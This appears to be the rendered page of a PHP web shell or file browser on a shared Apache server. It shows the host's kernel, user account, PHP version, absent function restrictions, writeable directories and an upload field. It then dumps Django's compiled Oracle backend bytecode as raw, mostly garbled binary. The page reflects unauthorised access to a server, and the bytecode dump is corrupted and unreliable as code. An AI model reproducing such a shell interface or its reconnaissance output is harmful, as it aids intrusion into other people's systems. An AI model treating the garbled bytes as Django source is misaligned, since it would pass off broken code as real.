https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/db/backends/oracle/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/db/backends/oracle/__pycache__/base.cpython-310.pyc
o

3�a�X�
@s�dZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZdd	lmZmZdd
lmZdd�Zed
dg�zddlZWneyfZze
de��dZ[wwddlmZddlmZddlm Z ddl!m"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(m)Z)ddl*m+Z+edd��Z,Gdd�d�Z-Gdd�de�Z.Gdd �d �Z/Gd!d"�d"�Z0Gd#d$�d$�Z1dS)%ze
Oracle database backend for Django.

Requires cx_Oracle: https://oracle.github.io/python-cx_Oracle/
�N)�contextmanager)�settings)�ImproperlyConfigured)�IntegrityError)�BaseDatabaseWrapper)�async_unsafe)�force_bytes�	force_str)�cached_propertyc
Cs|t�����d�r6zddl}Wnty!}ztd|��d}~ww|�d�}|D]
\}}|�||�q)dSt	j
�|�dS)N�CYGWINrz_Error loading ctypes: %s; the Oracle backend requires ctypes to operate correctly under Cygwin.�kernel32)�platform�system�upper�
startswith�ctypes�ImportErrorr�CDLL�SetEnvironmentVariableA�os�environ�update)rr�er�name�value�r�@/usr/lib/python3/dist-packages/django/db/backends/oracle/base.py�_setup_environments���
�r)�NLS_LANGz	.AL32UTF8)�ORA_NCHAR_LITERAL_REPLACE�TRUEz"Error loading cx_Oracle module: %s�)�DatabaseClient)�DatabaseCreation)�DatabaseFeatures)�DatabaseIntrospection)�DatabaseOperations)�DatabaseSchemaEditor)�Oracle_datetime�dsn)�DatabaseValidationc
csv�zdVWdStjy:}z&|jd}t|d�r5t|d�r5|jdkr5d|jvs.d|jvr5tt|j����d}~ww)Nr�code�messagei+z	ORA-02291z	ORA-00001)�Database�
DatabaseError�args�hasattrr+r,r�tuple)r�xrrr�wrap_oracle_errors?s�
��
��r3c@seZdZddd�ZdS)�!_UninitializedOperatorsDescriptorNcCs&|durtd��|����|jdS)Nz*operators not available as class attribute�	operators)�AttributeError�cursor�close�__dict__)�self�instance�clsrrr�__get__[s
z)_UninitializedOperatorsDescriptor.__get__�N)�__name__�
__module__�__qualname__r=rrrrr4Ysr4cs�eZdZdZdZidd�dd�dd�d	d
�dd�d
d�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd �d!d"�d
dddddd#dddd$d%d&��Zd'd(d'd)d)d)d*�Zd+Ze�Z	d,d-d.d/d0d1d2d3d.d.d/d/d4�Z
ie
�d5d6d5d5d6d6d7��Zd8Zd9d:d;d<d=d>d?�Z
d@dA�e
��D�ZdBdA�e
��D�ZeZeZeZeZeZeZeZeZ�fdCdD�Z dEdF�Z!e"dGdH��Z#dIdJ�Z$e"d\dLdM��Z%dNdO�Z&dPdQ�Z'dRdS�Z(d\dTdU�Z)dVdW�Z*e+dXdY��Z,e+dZd[��Z-�Z.S)]�DatabaseWrapper�oracle�Oracle�	AutoFieldz3NUMBER(11) GENERATED BY DEFAULT ON NULL AS IDENTITY�BigAutoFieldz3NUMBER(19) GENERATED BY DEFAULT ON NULL AS IDENTITY�BinaryField�BLOB�BooleanFieldz	NUMBER(1)�	CharFieldzNVARCHAR2(%(max_length)s)�	DateField�DATE�
DateTimeField�	TIMESTAMP�DecimalFieldz*NUMBER(%(max_digits)s, %(decimal_places)s)�
DurationFieldzINTERVAL DAY(9) TO SECOND(6)�	FileField�
FilePathField�
FloatFieldzDOUBLE PRECISION�IntegerFieldz
NUMBER(11)�	JSONField�NCLOB�BigIntegerFieldz
NUMBER(19)�IPAddressFieldzVARCHAR2(15)�GenericIPAddressFieldzVARCHAR2(39)z2NUMBER(5) GENERATED BY DEFAULT ON NULL AS IDENTITYzVARCHAR2(%(max_length)s)zVARCHAR2(32))�NullBooleanField�
OneToOneField�PositiveBigIntegerField�PositiveIntegerField�PositiveSmallIntegerField�	SlugField�SmallAutoField�SmallIntegerField�	TextField�	TimeField�URLField�	UUIDFieldz%(qn_column)s IN (0,1)z%(qn_column)s IS JSONz%(qn_column)s >= 0)rIrUrZr\r]r^)�clob�nclob�blobz= %sz= UPPER(%s)zFLIKE TRANSLATE(%s USING NCHAR_CS) ESCAPE TRANSLATE('\' USING NCHAR_CS)zMLIKE UPPER(TRANSLATE(%s USING NCHAR_CS)) ESCAPE TRANSLATE('\' USING NCHAR_CS)z> %sz>= %sz< %sz<= %s)�exact�iexact�contains�	icontains�gt�gte�lt�lter�endswith�istartswith�	iendswithzLIKEC %s ESCAPE '\'zLIKEC UPPER(%s) ESCAPE '\')rkrlrrqrrrsz@REPLACE(REPLACE(REPLACE({}, '\', '\\'), '%%', '\%%'), '_', '\_')z'%%' || {} || '%%'z'%%' || UPPER({}) || '%%'z
{} || '%%'zUPPER({}) || '%%'z
'%%' || {}z'%%' || UPPER({}))rkrlrrrrqrscC�i|]\}}|d|d�qS)zLIKE TRANSLATE( z5 USING NCHAR_CS) ESCAPE TRANSLATE('\' USING NCHAR_CS)r��.0�k�vrrr�
<dictcomp>�s�zDatabaseWrapper.<dictcomp>cCrt)zLIKEC z ESCAPE '\'rrurrrry�s�cs0t�j|i|��|jd�dd�}||j_dS)N�OPTIONS�use_returning_intoT)�super�__init__�
settings_dict�get�features�can_return_columns_from_insert)r:r/�kwargsr{��	__class__rrr}�szDatabaseWrapper.__init__cCs |jd��}d|vr|d=|S)Nrzr{)r~�copy�r:�conn_paramsrrr�get_connection_params�sz%DatabaseWrapper.get_connection_paramscCs*tjd|jd|jdt|j�d�|��S)N�USER�PASSWORD)�user�passwordr)r)r-�connectr~r)r�rrr�get_new_connection�s��z"DatabaseWrapper.get_new_connectioncCs�|��}|�d�|�dtjrdnd�|��d|jvrO|��}z|�d|jddg�WntjyB|j	|_
|j|_Yn	w|j|_
|j
|_|��d	|j_|��s]|��dSdS)
Nz+ALTER SESSION SET NLS_TERRITORY = 'AMERICA'zmALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS' NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'z TIME_ZONE = 'UTC'�r5z!SELECT 1 FROM DUAL WHERE DUMMY %srk�X�)�
create_cursor�executer�USE_TZr8r9�_standard_operatorsr-r.�_likec_operatorsr5�_likec_pattern_ops�pattern_ops�_standard_pattern_ops�
connection�
stmtcachesize�get_autocommit�commit�r:r7rrr�init_connection_state�s6
��
����z%DatabaseWrapper.init_connection_stateNcC�
t|j�Sr>)�FormatStylePlaceholderCursorr�)r:rrrrr�s
zDatabaseWrapper.create_cursorcCsB|jdurt��
|j��Wd�S1swYdSdSr>)r�r3r��r:rrr�_commits

$��zDatabaseWrapper._commitcCs,|jr|j�d|j�|�dd��dSdS)Nz-- RELEASE SAVEPOINT %s (faked)z0.000)�sql�time)�queries_logged�queries_log�append�ops�
quote_name)r:�sidrrr�_savepoint_commits��z!DatabaseWrapper._savepoint_commitcCs4|j�
||j_Wd�dS1swYdSr>)�wrap_database_errorsr��
autocommit)r:r�rrr�_set_autocommit&s
"�zDatabaseWrapper._set_autocommitcCsB|���}|�d�|�d�Wd�dS1swYdS)zl
        Check constraints by setting them to immediate. Return them to deferred
        afterward.
        zSET CONSTRAINTS ALL IMMEDIATEzSET CONSTRAINTS ALL DEFERREDN)r7r�)r:�table_namesr7rrr�check_constraints*s

"�z!DatabaseWrapper.check_constraintscCs(z|j��WdStjyYdSw)NFT)r��pingr-�Errorr�rrr�	is_usable3s��zDatabaseWrapper.is_usablecCstdd�tj�d�D��S)Ncs��|]}t|�VqdSr>��int�rvr2rrr�	<genexpr>=��z4DatabaseWrapper.cx_oracle_version.<locals>.<genexpr>�.)r1r-�version�splitr�rrr�cx_oracle_version;�z!DatabaseWrapper.cx_oracle_versioncCsH|���tdd�|jj�d�D��Wd�S1swYdS)Ncsr�r>r�r�rrrr�Br�z1DatabaseWrapper.oracle_version.<locals>.<genexpr>r�)�temporary_connectionr1r�r�r�r�rrr�oracle_version?s
$�zDatabaseWrapper.oracle_versionr>)/r?r@rA�vendor�display_name�
data_types�data_type_check_constraints�_limited_data_typesr4r5r�r��pattern_esc�_pattern_ops�itemsr�r�r-r'�SchemaEditorClassr"�client_classr#�creation_classr$�features_classr%�introspection_classr&�	ops_classr*�validation_classr}r�rr�r�r�r�r�r�r�r�r
r�r��
__classcell__rrr�rrBfs���������	�
���
������ �
����	��
(
	
rBc@seZdZdZddd�ZdS)�OracleParama�
    Wrapper object for formatting parameters for Oracle. If the string
    representation of the value is large enough (greater than 4000 characters)
    the input size needs to be set as CLOB. Alternatively, if the parameter
    has an `input_size` attribute, then the value of the `input_size` attribute
    will be used instead. Otherwise, no input size will be set for the
    parameter when executing the query.
    FcCs�tjrt|tj�rt|t�st�|�}d}|durd}n|dur"d}t|d�r.|�|�|_n$t|t	j
tjf�r;||_nt||j
|�|_t|jt�rRtt||j
|��}t|d�r]|j|_dS|dkrgt	j|_dSt|tj�rst	j|_dSd|_dS)NrTr!F�bind_parameter�
input_sizei�)rr��
isinstance�datetimer(�
from_datetimer0r�rr-�Binary�	timedeltar	�charset�str�lenr��CLOBrN)r:�paramr7�strings_only�string_sizerrrr}Os.�



zOracleParam.__init__N�F)r?r@rA�__doc__r}rrrrr�Es	r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�VariableWrappera	
    An adapter class for cursor variables that prevents the wrapped object
    from being converted into a string when used to instantiate an OracleParam.
    This can be used generally for any other object that should be passed into
    Cursor.execute as-is.
    cCs
||_dSr>��var)r:r�rrrr}{�
zVariableWrapper.__init__cCs|jSr>r�r�rrrr�~szVariableWrapper.bind_parametercC�t|j|�Sr>)�getattrr�)r:�keyrrr�__getattr__��zVariableWrapper.__getattr__cCs(|dkr||j|<dSt|j||�dS)Nr�)r9�setattrr�)r:r�rrrr�__setattr__�szVariableWrapper.__setattr__N)r?r@rAr�r}r�r�r�rrrrr�ssr�c@s�eZdZdZdZdd�Zedd��Zedd��Zed	d
��Z	dd�Z
d
d�Zdd�Zd#dd�Z
d$dd�Zd$dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�ZdS)%r�z�
    Django uses "format" (e.g. '%s') style placeholders, but Oracle uses ":var"
    style. This fixes it -- but note that if you want to use a literal "%s" in
    a query, you'll need to use "%%s".
    zutf-8cCs|��|_|j|j_dSr>)r7�_output_type_handler�outputtypehandler)r:r�rrrr}�s
z%FormatStylePlaceholderCursor.__init__cCsd|vr	t�|�St|�S)Nr�)�decimal�Decimalr�)rrrr�_output_number_converter�r�z5FormatStylePlaceholderCursor._output_number_convertercs8|dkrtStj|d��t�d��|����fdd�S)Nr)�precr!cst�|�j��d�S)N)�context)r�r��quantize)rx�r��quantize_valuerr�<lambda>��zEFormatStylePlaceholderCursor._get_decimal_converter.<locals>.<lambda>)r�r��Contextr��scaleb)�	precision�scalerr�r�_get_decimal_converter�s
z3FormatStylePlaceholderCursor._get_decimal_convertercCs^|tjkr-|dkr|dkrtj}nt}n|dkrt�||�}ntj}|jtjd|j|d�SdS)zx
        Called for each db column fetched from cursors. Return numbers as the
        appropriate Python type.
        i����r�)�size�	arraysize�outconverterN)	r-�NUMBERr�r��floatr�r��STRINGr)r7r�defaultType�lengthr�r�rrrrr��s
��z1FormatStylePlaceholderCursor._output_type_handlercsBz�fdd�|��D�WSty t�fdd�|D��YSw)Ncsi|]\}}|t|�d��qS)T�r�rur�rrry�sz?FormatStylePlaceholderCursor._format_params.<locals>.<dictcomp>c3s�|]	}t|�d�VqdS)TNr�rv�pr�rrr��s�z>FormatStylePlaceholderCursor._format_params.<locals>.<genexpr>)r�r6r1�r:�paramsrr�r�_format_params�s
�z+FormatStylePlaceholderCursor._format_paramscCs�t|dd�r-i}|D]}|��D]\}}|jr|j||<qq|r+|jdi|��dSdSdgt|d�}|D]}t|�D]\}}|jrJ|j||<q>q8|rU|j|�dSdS)Nr�keysr)r0r�r��
setinputsizesr��	enumerate)r:�params_list�sizesrrwr�irrr�_guess_input_sizes�s*
���
���z/FormatStylePlaceholderCursor._guess_input_sizescCs*t|d�rdd�|��D�Sdd�|D�S)Nr�cSsi|]\}}||j�qSr�rrurrrry�szAFormatStylePlaceholderCursor._param_generator.<locals>.<dictcomp>cSsg|]}|j�qSrrr	rrr�
<listcomp>�szAFormatStylePlaceholderCursor._param_generator.<locals>.<listcomp>)r0r�rrrr�_param_generator�s
z-FormatStylePlaceholderCursor._param_generatorFcs�|�d�s
|�d�r|dd�}|durg}nKt|d�r(dd�|D�}||}n:|rQ|rQdd�tt�|��D���fdd	�|D�}d
d����D�}|t|�}ndd	�tt|��D�}|t|�}||�	|�fS)N�;�/���rcSsi|]}|d|�qS)z:%sr)rvrwrrrry��z@FormatStylePlaceholderCursor._fix_for_params.<locals>.<dictcomp>cSsi|]	\}}|d|�qS�z:arg%dr)rvrr�rrrry�s��csg|]}�|�qSrr)rvr���params_dictrrr�r�z@FormatStylePlaceholderCursor._fix_for_params.<locals>.<listcomp>cSsi|]\}}||�qSrr)rvr�rrrrry�rcSsg|]}d|�qSrr)rvrrrrrr�)
rqr0r�dict�fromkeysr�r1�ranger�r
)r:�queryr�unify_by_valuesr/rrr�_fix_for_params�s"

�z,FormatStylePlaceholderCursor._fix_for_paramsNcCs^|j||dd�\}}|�|g�t��|j�||�|��Wd�S1s(wYdS)NT)r#)r$rr3r7r�r)r:r"rrrrr�s
$�z$FormatStylePlaceholderCursor.executecs�|sdSt|�}��|t|��\}}|g�fdd�|D�}��|�t���j�|�fdd�|D��Wd�S1s?wYdS)Nc�g|]}��|��qSr)r
r	r�rrrrz<FormatStylePlaceholderCursor.executemany.<locals>.<listcomp>cr%r)rr	r�rrrr)�iterr$�nextrr3r7�executemany)r:r"r�params_iter�firstparams�	formattedrr�rr(
s
$�z(FormatStylePlaceholderCursor.executemanycCs(z|j��WdStjyYdSwr>)r7r8r-�InterfaceErrorr�rrrr8s
�z"FormatStylePlaceholderCursor.closecG�t|jj|��Sr>)r�r7r��r:r/rrrr�"�z FormatStylePlaceholderCursor.varcGr-r>)r�r7�arrayvarr.rrrr0%r/z%FormatStylePlaceholderCursor.arrayvarcCr�r>)r�r7)r:�attrrrrr�(r�z(FormatStylePlaceholderCursor.__getattr__cCr�r>)r&r7r�rrr�__iter__+r�z%FormatStylePlaceholderCursor.__iter__r�r>)r?r@rAr�r�r}�staticmethodr�r�r�r
rrr$r�r(r8r�r0r�r2rrrrr��s*


 

"
r�)2r�r�r�rr
�
contextlibr�django.confr�django.core.exceptionsr�	django.dbr�django.db.backends.base.baser�django.utils.asyncior�django.utils.encodingrr	�django.utils.functionalr
r�	cx_Oracler-rr�clientr"�creationr#r�r$�
introspectionr%�
operationsr&�schemar'�utilsr(r)�
validationr*r3r4rBr�r�r�rrrr�<module>sP�	��

`.

https://t.me/RX1948 - 2025